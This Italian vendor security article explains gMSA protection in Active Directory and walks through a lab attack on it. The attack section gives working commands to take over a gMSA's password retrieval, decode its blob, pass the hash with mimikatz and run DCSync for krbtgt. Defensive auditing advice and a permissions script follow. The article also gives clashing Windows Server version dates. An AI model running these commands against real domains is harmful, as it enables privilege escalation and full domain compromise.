Proteggere i vostri Group Managed Service Accounts

Panoramica degli Account di Servizio Gestiti di Gruppo

La pratica tradizionale di utilizzare account utente regolari come account di servizio scarica il peso della gestione delle password sugli utenti. Di conseguenza, le password degli account spesso rimangono invariate per anni, il che le rende altamente vulnerabili ad attacchi di forza bruta e abusi. Gli account di servizio gestiti in gruppo (gMSAs) offrono un modo più sicuro per eseguire compiti automatizzati, servizi e applicazioni.

I gMSA sono stati introdotti in Windows Server 2016 e possono essere utilizzati su Windows Server 2012 e versioni successive. Le password dei gMSA sono completamente gestite da Windows: vengono generate casualmente e ruotate automaticamente. Inoltre, le password non devono essere note a nessun utente, poiché gli account di servizio vengono 'installati' sul server che deve interrogare le informazioni della password da Active Directory al momento dell'esecuzione. Di conseguenza, i gMSA sono molto meno soggetti a uso improprio e compromissione rispetto agli account utente utilizzati come account di servizio.

Sicurezza degli account di servizio gestiti dal gruppo

I gMSA sono un tipo specifico di oggetto in Active Directory: msDS-GroupManagedServiceAccount. Questi oggetti hanno attributi speciali associati a loro relativi alla loro password e alla sua rotazione. Similmente a LAPS, vorrai assicurarti che gli attributi gMSA siano bloccati per l'accesso solo agli oggetti di Active Directory che ne hanno bisogno.

Attributi e permessi gMSA

I gMSA possiedono i seguenti attributi:

• msDS-ManagedPassword— Un BLOB con la password del gMSA
• msDS-ManagedPasswordID— L'ID chiave utilizzato per generare la password corrente gMSA
• msDS-ManagedPasswordPreviousID— L'ID chiave utilizzato per generare la password gMSA precedente
• msDS-GroupMSAMembership— Un elenco degli oggetti che hanno il permesso di interrogare la password per il gMSA
• msDS-ManagedPasswordInterval— L'intervallo (giorni) in cui la password viene ruotata

Poiché le informazioni sulla password sono memorizzate nell'attributo msDS-ManagedPassword, vorrai sicuramente sapere chi nel tuo ambiente è in grado di interrogare la password. Quelle informazioni sono impostate nell'attributo msDS-GroupMSAMembership.

Tuttavia, è un po' più complicato di così, poiché entrano in gioco i permessi di Active Directory. Se per qualsiasi motivo un utente o un oggetto è configurato per avere i permessi di interrogare la password tramite l'account msDS-GroupMSAMembership, deve comunque avere i permessi di 'Lettura' per l'attributo msDS-ManagedPassword del gMSA.

Ciò significa che ci sono due modi per proteggere le password gMSA:

• Assicurati che solo gli oggetti necessari abbiano il permesso di interrogare la password e che esistano nell'msDS-GroupMSAMembership
• Assicurati che solo gli utenti amministrativi che necessitano dell'accesso e gli account computer dove sono installati i gMSA abbiano il permesso di leggere l'attributo. Inoltre, assicurati che solo gli amministratori abbiano la capacità di modificare il gMSA e i suoi attributi, così nessuno può aggiungersi all'attributo msDS-GroupMSAMembership.

Idealmente, si dovrebbero bloccare i gMSA attraverso entrambe le vie per impedire a un attaccante di avere l'opzione di sfruttare uno degli scenari sopra descritti. Qui sotto mostreremo come permessi o configurazioni mal gestite su un gMSA possono portare al compromesso dell'account e privilege escalation o movimento laterale.

Abusare della password gMSA

Abusare di un gMSA è un concetto relativamente semplice. Prima, ottieni la sua password utilizzando uno strumento come Mimikatz o interrogandolo direttamente a causa di configurazioni insicure in Active Directory. Poiché i gMSA sono account di servizio, di solito sono piuttosto privilegiati, quindi di solito sarai in grado di muoverti lateralmente o scalare.

Facciamo un esempio pratico.

1. Prima compromettiamo l'account utente Windows ordinario 'notadmin' attraverso una tecnica come il phishing. Questo account ha privilegi minimi in Active Directory, ma è un amministratore locale sulla macchina su cui siamo atterrati.

2. Successivamente, cercheremo di scoprire se esistono gMSA. Questo è molto semplice da realizzare se si ha accesso al cmdlet di Windows PowerShell. Eseguendo uno script semplice otteniamo tutti gli account di servizio gestiti in Active Directory:

      Get-ADServiceAccount -Filter *
      

3. Con alcune piccole modifiche allo script, possiamo identificare chi ha l'accesso per interrogare le password gMSA:

      Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
      

Come possiamo vedere, solo l'account Kevin Joyce è in grado di interrogare le password per questi account di servizio:

4. Possiamo restringere l'ambito degli obiettivi che vogliamo controllando se questi account di servizio sono membri di gruppi privilegiati e, da lì, possiamo approfondire ulteriormente i permessi impostati su uno degli oggetti:

      Get-ADServiceAccount -Filter * -Properties memberof
      

Osservando i risultati qui, possiamo vedere che l'account di servizio gMSA è membro dei Domain Admins, quindi sarà questo che cercheremo di sfruttare.

5. Modificando uno script fornito in un post su Microsoft LAPS, siamo stati in grado di ottenere un elenco di tutti gli oggetti che hanno permessi su un account di servizi gestiti che includevano Controllo completo, Scrittura di tutte le proprietà o Scrittura proprietà per l'attributo gMSA specifico. Di seguito è riportato l'output, e lo script è collegato in fondo.

6. Come potete vedere, l'account notadmin ha il controllo completo sull'account gMSA. Questo ci dà la capacità di modificare l'attributo msDS-GroupMSAMembership, che ci permetterà di recuperare la password per l'account del servizio gestito:

      Set-ADServiceAccount -Identity gmsa -PrincipalsAllowedToRetrieveManagedPassword notadmin
      

7. Ora che siamo effettivamente in grado di interrogare la password, vediamo cosa possiamo farne:

      Get-ADServiceAccount -Identity gmsa -properties msds-ManagedPassword
      

      $pwd = Get-ADServiceAccount -identity gMSA -Properties msds-ManagedPassword
      

8. Il valore memorizzato nell'attributo è un BLOB che contiene i dati per la password, non la password stessa, quindi dovremo decodificare la password utilizzando uno strumento come DSInternals:

      $pw = ConvertFrom-ADManagedPasswordBlob $pwd.’msds-managedpassword’
ConvertTo-NTHash $pw.securecurrentpassword
      

Questo ci permette di ottenere il SecureCurrentPassword e il CurrentPassword. Il CurrentPassword sembra inutile ma è perché tutti i caratteri sono in UTF-16. Il SecureCurrentPassword può essere convertito in un hash NTLM e utilizzato in un attacco pass-the-hash con mimikatz per elevare i nostri privilegi.

9. Per pass the hash dobbiamo semplicemente eseguire mimikatz e usare questo comando:

      sekurlsa::pth /user:gmsa /domain:sbpmlab.net /ntlm:a99afa608b79a3c539a969212c505ea9
      

10. Ora che abbiamo una shell eseguita come account del servizio gMSA che era membro degli Admin di Dominio, possiamo fare ciò che vogliamo per compromettere Active Directory. Uno dei modi più rapidi, ma probabilmente più rumorosi per farlo, è eseguire un DCSync attack e rubare l'hash dell'account krbtgt:

      lsadump::dcsync /user:krbtgt /domain:sbpmlab.net
      

Protezione e monitoraggio gMSA

Ci sono strategie che puoi utilizzare per prevenire e rilevare l'abuso di gMSA.

Permessi

La protezione più evidente e probabilmente la più importante che puoi implementare è assicurarti che siano impostati i permessi appropriati sui tuoi account di servizio gestiti dal gruppo. Comprendere chi ha l'accesso in scrittura a questi oggetti è pertinente per proteggerli; qualcuno che può aggiungersi all'attributo che controlla chi può interrogare la password in teoria ha già l'accesso per prendere il controllo di questo account e abusare dei suoi privilegi.

La cosa successiva sarebbe capire chi ha la capacità di interrogare le password di questi account e chi ha esattamente bisogno di tale accesso. In realtà, l'unico account che dovrebbe essere in grado di ottenere la password di un gMSA è l'account del computer su cui il gMSA è installato.

Registri degli eventi

C'è un evento che puoi cercare nei log degli eventi nativi che ti aiuterà a identificare chi sta interrogando le password degli account gMSA. Se abiliti la policy 'Audit directory service access' per il tuo dominio e configuri una SACL sugli gMSA che vuoi monitorare, puoi generare log degli eventi quando le persone interrogano l'attributo msDS-ManagedPassword:

Attivando questa impostazione e creando un nuovo SACL verrà generato un registro eventi con ID evento 4662; apparirà così:

Come puoi vedere, è stato registrato che l'account 'notadmin' ha letto una proprietà sull'account gMSA. Le proprietà lette sono i GUID memorizzati nello schema per Active Directory, ma utilizzando ADSI edit possiamo vedere che il GUID evidenziato corrisponde all'attributo msDS-ManagedPassword.

Assumendo che tu possa avere qualche tipo di inoltro del registro eventi o una soluzione SIEM, questi log sarebbero inestimabili per determinare chi sta accedendo a questi attributi.

Netwrix StealthDEFEND

Un'altra opzione è uno strumento come Netwrix StealthDEFEND. Netwrix StealthDEFEND non si basa sui log degli eventi nativi e può rilevare l'accesso alla password gMSA e l'assegnazione di permessi ad alto rischio direttamente out of the box. Ad esempio, lo scenario mostrato sopra genererebbe la seguente minaccia quando l'account 'notadmin' ha interrogato la password:

Inoltre, con Netwrix StealthDEFEND, è possibile creare facilmente un playbook da eseguire quando viene rilevato un abuso di gMSA. Il playbook può prevedere più passaggi, come richiedere all'account utente colpevole di rispondere a una richiesta MFA, disabilitare l'account o creare un incidente ServiceNow.

Appendice

Codice dei permessi gMSA:

      <#
Author: Kevin Joyce
Requirements: Active Directory PowerShell module, Domain Administrator privileges (to ensure the capability to get attribute GUIDs and view all permissions on all gMSA objects)
Description: Looks up permissions within Active Directory on a gMSA to determine access to modify the gMSA attribute (ms-ds-GroupMSAMembership).
Usage: populate the $target variable with the samaccountname of a gMSA.
To output the results to a text file run the following .gMSA_Permissions_Collection.ps1 > output.txt
#>
Import-Module ActiveDirectory
##Get the GUID of the extended attribute ms-ds-GroupMSAMembership from Schema
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-ds-GroupMSAMembership)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}

<# **REPLACE DN VARIABLE BELOW**
Declare the samaccountname of the gMSA to search for#>
$target = 'gmsa'

##Get distinguished name of all gMSAs objects from the OU
$gMSAs = Get-ADServiceAccount -identity $target


<#Get objects that have specific permissions on the target(s): 
Full Control(GenericAll) 
Write all Properties (WriteProperty where ObjectType = 00000000-0000-0000-0000-000000000000 
#>
Set-Location ad:
foreach ($gmsa in $gMSAs){
(Get-Acl $gmsa.distinguishedname).access | 
Where-Object { (($_.AccessControlType -eq 'Allow') -and ($_.activedirectoryrights -in ('GenericAll') -and $_.inheritancetype -in ('All', 'None')) -or (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -eq '00000000-0000-0000-0000-000000000000')))} |
ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -autosize 
}
<#Get objects that have specific permissions on the target(s) and specifically the gMSA attribute:
WriteProperty 
#>
Set-Location ad:
foreach ($gmsa in $gMSAs){
(Get-Acl $gmsa.distinguishedname).access | 
Where-Object {(($_.AccessControlType -eq 'Allow') -and (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -in $schemaIDGUID.Keys)))} |
ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -AutoSize
}
      

visualizza grezzogMSA_Permissions_Collection.ps1 ospitato con da GitHub

FAQ

Cos'è un gMSA?

Simili agli account di servizio gestiti (MSA), gli account di servizio gestiti di gruppo (gMSA) sono account di dominio gestiti utilizzati per aiutare a proteggere i servizi e la gestione degli accessi. La funzionalità gMSA fornisce una gestione automatica delle password da parte del controller di dominio (DC), una gestione semplificata del nome del servizio principale (SPN) e la possibilità di delegare la gestione ad altri amministratori, il che migliora la sicurezza di Active Directory e riduce al minimo gli account con accesso privilegiato.

Qual è la differenza tra MSAs e gMSAs?

A differenza di un MSA, un gMSA può essere associato a più computer.

Come trovare un account servizio gestito da un gruppo?

Per ottenere un elenco di gMSAs sul controller di dominio, apri Server Manager > Strumenti > Active Directory Users and Computers > Account di servizio gestiti.

Un gMSA può essere un Domain Admin?

Sì, un account gMSA può essere membro di Domain Admins, anche se questa pratica può essere pericolosa per la sicurezza delle informazioni.

Come posso creare un gMSA?

Gli account di servizio gestiti dal gruppo vengono creati con il cmdlet New-ADServiceAccount.